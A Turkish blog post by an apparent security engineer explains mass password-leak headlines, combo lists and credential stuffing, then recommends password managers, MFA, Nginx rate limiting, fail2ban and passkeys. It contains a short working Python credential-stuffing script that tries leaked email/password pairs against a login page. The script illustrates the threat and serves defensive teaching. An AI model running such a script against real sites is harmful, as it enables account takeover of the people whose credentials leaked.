Geçen ay yine bir haber düştü önüme: “Tam 16 milyar şifre internete sızdırıldı!” Bu tür başlıklar ilk bakışta herkesi panikletir, sanki tüm hesaplarımız anında ele geçirilecekmiş gibi bir his yaratır. Ancak sahadaki 20 yıllık deneyimimle söyleyebilirim ki, bu tür büyük sayılar genellikle bir buzdağının görünen yüzüdür ve asıl tehlikeyi tam olarak yansıtmaz. Genellikle bu sayılar, yıllar içinde farklı platformlardan sızdırılmış, çoğu eski ve tekrarlanan verilerin bir araya getirilmiş halidir. Asıl sorun, kişisel parolalarımızın ne kadar benzersiz ve güçlü olduğuyla ve iki faktörlü kimlik doğrulama gibi ek güvenlik katmanlarını kullanıp kullanmadığımızla ilgilidir.
Bu yazıda, bu “16 milyar şifre” haberlerinin ardındaki gerçekleri, bu sızıntıların bizi nasıl etkilediğini ve hem bireysel hem de kurumsal düzeyde kendimizi nasıl koruyabileceğimizi kendi tecrübelerimle anlatacağım. Amacım panik yaratmak değil, durumu gerçekçi bir şekilde değerlendirip somut adımlar atmamıza yardımcı olmak.
Bu “16 Milyar Şifre Sızdı” Haberleri Tam Olarak Ne Anlatıyor?
Bu devasa sayılar genellikle tek bir büyük hack’ten ziyade, yıllar içinde farklı platformlardan sızdırılmış ve bir araya getirilmiş veri kümelerini ifade eder. Örneğin, 2013’te bir forumdan sızan 1 milyon şifre ile 2020’de bir e-ticaret sitesinden sızan 5 milyon şifre, ayrı ayrı olaylardır. Ancak bu “combo list” adı verilen derlemelerde, aynı e-posta adresine ait farklı şifreler, hatta aynı şifreye ait farklı e-postalar defalarca tekrar edebilir.
Bu listelerin çoğu, saldırganların “credential stuffing” saldırıları için kullandığı devasa veritabanlarıdır. Benim de kendi yan ürünlerimden birinin giriş ekranında, saatte yüzlerce başarısız giriş denemesi gördüğüm zamanlar oldu. Bu denemelerin arkasında genellikle bu tür listelerden alınan kullanıcı adı-şifre kombinasyonları vardı. Bu listelerdeki verinin güncelliği de tartışmalıdır; çoğu zaman 5-10 yıl öncesine ait bilgiler içerirler.
Sızan Şifreler Hesaplarımızı Nasıl Tehdit Ediyor?
Sızan şifrelerin en büyük tehdidi, parola tekrar kullanımı sorunundan kaynaklanır. Eğer [email protected] e-posta adresiniz ve benimsifrem123 parolanız bir forumdan sızdıysa ve siz bu kombinasyonu bankacılık, e-posta veya sosyal medya hesaplarınızda da kullanıyorsanız, o zaman ciddi bir risk altındasınız demektir. Saldırganlar, bu “combo list”leri alıp otomatik araçlarla farklı sitelerde denerler. Bu, tıpkı bir anahtarı kaybettiğinizde hırsızın o anahtarı tüm kapılarda denemesi gibidir.
Benim bir müşteri projesinde, küçük bir pazarlama uygulamasından sızan e-posta ve şifre kombinasyonlarının, şirketin ana ERP sistemine erişim denemelerinde kullanıldığını bizzat gözlemledim. Neyse ki ERP tarafında güçlü bir MFA (Multi-Factor Authentication) politikası vardı ve bu denemeler başarısız oldu. Ancak bu, riskin ne kadar gerçek ve yaygın olduğunu gösteriyor. Saldırganlar, bu tür denemeler için genellikle yüzlerce farklı IP adresi ve proxy kullanarak izlerini gizlemeye çalışırlar.
İşte bir credential stuffing denemesinin arkasındaki basit bir mantık:
import requests
# Sızan kullanıcı adı-şifre listesi (gerçek bir senaryoda bu çok daha büyük olurdu)
credentials = [
("[email protected]", "password123"),
("[email protected]", "securepass"),
("[email protected]", "benimsifrem123"),
]
target_login_url = "https://www.hedefsite.com/login"
for email, password in credentials:
payload = {
"email": email,
"password": password
}
try:
response = requests.post(target_login_url, data=payload, timeout=5)
if "login successful" in response.text.lower():
print(f"[BAŞARILI GİRİŞ] Kullanıcı: {email}, Parola: {password}")
# Burada daha fazla işlem yapılabilir: oturum çerezi alma vb.
elif "invalid credentials" in response.text.lower():
print(f"[BAŞARISIZ GİRİŞ] Kullanıcı: {email}")
else:
print(f"[BİLİNMEYEN YANIT] Kullanıcı: {email}, Yanıt: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[HATA] {email} için istek gönderilemedi: {e}")
print("Credential stuffing denemeleri tamamlandı.")Bu basit Python kodu, sızan bir listedeki her kullanıcı adı-parola çiftini hedef siteye göndermeyi dener. Eğer benimsifrem123 parolasını bir başka kritik hesabınızda da kullanıyorsanız, işte o zaman tehlike çanları çalmaya başlar.
Bireysel Kullanıcı Olarak Kendimi Nasıl Korurum?
“Peki, ben ne yapmalıyım?” sorusu hepimizin aklına gelen ilk şeydir. Aslında çok karmaşık değil, ancak disiplin gerektiriyor. Kendi deneyimlerimden yola çıkarak size birkaç somut adım önerebilirim.
Öncelikle, her hesap için benzersiz ve güçlü parolalar kullanmak en temel adımdır. Bu klişe gibi gelebilir ama en çok göz ardı edilen kural da budur. Ben yıllardır bir parola yöneticisi kullanıyorum. Bu sayede her site için rastgele oluşturulmuş, 20-30 karakterlik, özel karakterler içeren parolalar kullanabiliyorum. Parola yöneticisi kullanmak, tüm bu parolaları hatırlama yükünü üzerinizden alır. Benim bir yan ürünümde test amacıyla sleep 360 komutunu systemd servisine yanlışlıkla yazıp OOM-killed olduğum bir dönemde bile, parola yöneticim sayesinde kritik sistemlere erişim için farklı parolalar kullandığım için güvenlik riski yaşamadım.
İkinci olarak, iki faktörlü kimlik doğrulama (2FA/MFA) kullanmak olmazsa olmazdır. 2FA, parolanız çalınsa bile hesabınıza erişimi engellemenin en etkili yoludur. Bir üretim ERP’sinin operatör ekranlarında bile, yetkisiz erişimi engellemek için sadece şifre değil, mobil uygulama üzerinden doğrulama istiyorduk. Google Authenticator, Authy gibi uygulamalarla TOTP (Time-based One-Time Password) kullanabileceğiniz gibi, donanım tabanlı YubiKey gibi FIDO2 anahtarları da tercih edebilirsiniz. SMS tabanlı 2FA, SIM-swap saldırıları nedeniyle en az güvenli olanıdır, mümkünse TOTP veya FIDO2 tercih edin.
Üçüncü olarak, “dark web monitoring” hizmetlerini kullanmak faydalı olabilir. Bu hizmetler, e-posta adresinizin veya diğer kişisel bilgilerinizin sızdırılan veri tabanlarında olup olmadığını kontrol eder. Bu sayede, bir sızıntı durumunda hemen haberdar olup parolanızı değiştirebilirsiniz. Benim de kendi e-posta adreslerimi bu tür hizmetlerle düzenli olarak kontrol ettiğim oluyor.
İşte basit bir güçlü parola oluşturma örneği:
pwgen 24 1Bu komut, 24 karakterli, rastgele ve okunması zor tek bir parola üretir. Bu tür parolaları ezberlemek imkansızdır, bu yüzden parola yöneticisi kritik önem taşır.
Kurumsal Ortamda Güvenliği Sağlamak İçin Neler Yapmalıyız?
Bireysel önlemlerin ötesinde, çalıştığım büyük firmalarda veya kendi projelerimde kurumsal güvenliği sağlamak için çok daha kapsamlı adımlar atıyoruz. Bir bankanın iç platformunu geliştirirken veya bir üretim ERP’sinde çalışırken, sadece kullanıcıların değil, tüm sistemin korunması gerekiyordu.
Çok Faktörlü Kimlik Doğrulama (MFA) politikaları zorunlu olmalı. Benim gözlemlediğim kadarıyla, birçok kuruluş hala sadece kullanıcı adı ve parola ile yetiniyor. Bu, 2026 yılında kabul edilemez bir durum. Özellikle kritik sistemlere (ERP, CRM, finansal uygulamalar) erişimde MFA’yı zorunlu kılmak, yetkisiz erişim riskini büyük ölçüde azaltır. Örneğin, bir müşteri projesinde tüm VPN bağlantılarını ve iç sistemlere erişimi TOTP tabanlı bir MFA ile güçlendirdik.
Sıkı Erişim Kontrolü ve Yetkilendirme (IAM) sistemleri kullanmak gerekiyor. Hangi kullanıcının hangi kaynağa, ne zaman ve hangi koşullarda erişebileceği net bir şekilde tanımlanmalıdır. Least Privilege prensibi, yani kullanıcılara sadece işlerini yapmaları için gerekli olan minimum yetkiyi vermek esastır. Bir üretim tesisindeki operatör ekranları için, sadece ilgili modüllere ve sadece kendi vardiyaları süresince erişim yetkisi tanımlamıştım.
Rate Limiting ve Web Application Firewall (WAF) kullanımı saldırıların otomatik araçlarla yapılmasını zorlaştırır. Benim kendi siteme yaptığım DDoS mitigation katmanlarında Nginx’i reverse proxy olarak kullanıp belirli IP’lerden gelen istekleri ve başarısız giriş denemelerini limitliyorum. Bu, credential stuffing gibi saldırıları yavaşlatır ve bazen tamamen durdurur.
İşte Nginx ile basit bir rate limiting yapılandırması:
http {
# zone=mylimit:10m: İstek durumunu depolamak için 10MB'lık bir bellek bölgesi oluştur.
# Bu bellek 160.000 IP adresinin durumunu tutabilir.
# rate=10r/s: Her IP adresinden saniyede ortalama 10 isteğe izin ver.
limit_req_zone $binary_remote_addr zone=mylimit:10m rate=10r/s;
server {
listen 80;
server_name myapp.com;
location /login {
# /login endpoint'ine gelen istekleri mylimit bölgesine göre sınırla.
# burst=5: Ortalama hızı aşan 5 isteğe kadar izin ver (kuyruğa al).
# nodelay: Kuyruğa alınan istekler gecikmeden hemen işlenir (eğer kapasite varsa).
limit_req zone=mylimit burst=5 nodelay;
proxy_pass http://backend_app_server;
# Diğer proxy ayarları...
}
# Diğer konumlar için limit uygulamayabiliriz veya farklı limitler tanımlayabiliriz.
location / {
proxy_pass http://backend_app_server;
}
}
}Bu Nginx yapılandırması, /login endpoint’ine gelen istekleri IP adresine göre sınırlar. Bir IP’den saniyede 10’dan fazla istek gelirse, Nginx bu istekleri reddeder. Bu, credential stuffing saldırılarının hızını kesmek için oldukça etkili bir yöntemdir.
Sızıntıları İzlemek ve Tepki Vermek: Bir Güvenlik Mühendisi Gözüyle
Sızıntı haberleri sadece “panik” sebebi değil, aynı zamanda proaktif önlemler almamız için birer tetikleyicidir. Bir güvenlik mühendisi olarak, bu tür haberleri ve potansiyel zafiyetleri sürekli takip ederim.
CVE (Common Vulnerabilities and Exposures) takibi ve zafiyet yönetimi kritik öneme sahiptir. Linux kernel module’lerinde veya kullandığımız kütüphanelerde çıkan yeni zafiyetleri (örneğin algif_aead ile ilgili CVE-2026-31431 gibi) takip edip sistemlerimizi yamalamak zorundayız. Bazen kernel modüllerini blacklist’e alarak da bu tür riskleri yönetiyorum.
Log analizi ve anomali tespiti sızıntıları erken fark etmede anahtardır. Bir üretim ERP’sinde, başarısız giriş denemelerinin sayısında anormal bir artış gördüğümde veya belirli bir kullanıcının olağan dışı saatlerde erişim sağlamaya çalıştığını tespit ettiğimde hemen alarm çalarım. journald loglarını düzenli olarak inceler, fail2ban gibi araçlarla otomatik engelleme kuralları tanımlarım. Geçen ay bir sunucumda saat 03:14’te WAL rotation alarmının düşmesi gibi spesifik olayları bile detaylıca inceler, olası anomali belirtilerini ararım.
İşte bir journalctl çıktısı ve fail2ban kuralı örneği:
# journalctl çıktısı: Başarısız SSH giriş denemeleri
Jun 29 10:05:12 myserver sshd[12345]: Failed password for invalid user admin from 192.168.1.100 port 54321 ssh2
Jun 29 10:05:13 myserver sshd[12346]: Failed password for admin from 192.168.1.100 port 54322 ssh2
Jun 29 10:05:14 myserver sshd[12347]: Failed password for admin from 192.168.1.100 port 54323 ssh2
Jun 29 10:05:15 myserver sshd[12348]: Failed password for invalid user root from 192.168.1.101 port 54324 ssh2Bu tür çıktılar, bir brute-force veya credential stuffing denemesinin habercisi olabilir. fail2ban ile bu denemeleri otomatik olarak engelleyebiliriz.
# /etc/fail2ban/jail.local içindeki bir bölüm
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/auth.log
maxretry = 3 ; 3 başarısız denemeden sonra engelle
bantime = 3600 ; 1 saat boyunca engelleBu fail2ban kuralı, SSH servisine 3 başarısız deneme yapan bir IP adresini 1 saat boyunca engelleyerek sunucumu brute-force saldırılarından korur. Kendi VPS’imde, bu kural sayesinde haftada ortalama 50-100 IP adresini otomatik olarak engellediğimi gördüm.
Geleceğin Şifre Güvenliği: Parolasız Kimlik Doğrulama ve ZTNA
Şifrelerin, özellikle de zayıf veya tekrar kullanılan şifrelerin, güvenlik zincirinin en zayıf halkası olduğunu artık hepimiz biliyoruz. Bu nedenle, sektör parolasız kimlik doğrulama yöntemlerine doğru hızla ilerliyor.
Passkeys ve FIDO standardı, bu alandaki en önemli gelişmelerden biri. Passkeys, parolanın yerini alan, cihazınıza bağlı bir kriptografik anahtar çiftidir. Telefonunuzdaki parmak izi okuyucu veya yüz tanıma sistemi ile doğrularsınız. Parolalar sunucuda saklandığı ve çalınabildiği için, passkey’ler sunucuda hiçbir sır saklamaz; bu da onları credential stuffing saldırılarına karşı bağışık hale getirir. Kendi Android spam uygulamamda, kullanıcı doğrulamasını daha güvenli hale getirmek için passkey entegrasyonlarını araştırıyorum.
Zero Trust Network Access (ZTNA) mimarileri de kurumsal güvenlikte geleceği temsil ediyor. “Her şeyi doğrula, hiçbir şeye güvenme” prensibine dayanır. İç ağdaki bir cihaz bile, her erişim talebi için kimliğini doğrulamak ve yetkisini kontrol etmek zorundadır. Bu, ağ segmentasyonu ve erişim kontrolünü çok daha granüler hale getirir. Bir bankanın iç platformunda, eski VPN topolojilerinin yerini yavaş yavaş ZTNA çözümlerine bıraktığını gördüm.
graph TD;
A["Kullanıcı Cihazı (Passkey)"] --> B{"Kimlik Doğrulama Servisi"};
B --> C{Cihaz Doğrulama (Biyometrik)};
C -- Başarılı --> D["Web Sitesi/Uygulama"];
D --> E["Erişim Sağlandı"];
B -- Başarısız --> F["Erişim Engellendi"];
subgraph Zero Trust Network Access;
G["Kullanıcı"] --> H{"ZTNA Broker (Politika Kontrolü)"};
H --> I["Cihaz Durumu Kontrolü"];
H --> J["Kullanıcı Kimlik Doğrulama"];
I & J -- Başarılı --> K["Uygulama Kaynağına Erişim"];
K --> L["Yetkilendirme ve Erişim Loglama"];
end
Yukarıdaki Mermaid diyagramı, Passkey ve ZTNA’nın temel akışlarını gösteriyor. Passkey ile kullanıcı cihazındaki biyometrik doğrulama sonrası doğrudan uygulamaya erişim sağlanırken, ZTNA’da her erişim talebi bir broker tarafından cihaz durumu ve kullanıcı kimliği kontrolünden geçiyor. Bu iki yaklaşım, parola tabanlı sistemlerin zayıflıklarını gidermeyi hedefliyor.
Sonuç: Panik Değil, Proaktif Önlem Gerekli
“16 milyar şifre sızdı” gibi haberler, evet, kulağa korkutucu geliyor. Ancak asıl tehlike bu sayıların büyüklüğünde değil, bizim bu duruma nasıl tepki verdiğimizde yatıyor. Eğer her hesabınızda aynı zayıf parolayı kullanmaya devam ediyorsanız, bu sızıntılar sizin için gerçek bir tehdittir.
Benim yıllardır edindiğim tecrübe gösteriyor ki, basit ama etkili adımlarla bu riskleri önemli ölçüde azaltmak mümkün. Güçlü, benzersiz parolalar kullanmak, parola yöneticilerine güvenmek ve her kritik hesabınızda MFA’yı aktif etmek, bireysel olarak atabileceğiniz en önemli adımlar. Kurumsal tarafta ise MFA’yı zorunlu kılmak, IAM politikalarını sıkılaştırmak, rate limiting ve WAF gibi teknik kontrolleri devreye almak ve güvenlik bilincini artırmak hayati önem taşıyor. Unutmayın, siber güvenlik bir kerelik bir iş değil, sürekli bir süreçtir. Bugün attığınız adımlar, yarın sizi potansiyel bir felaketten kurtarabilir.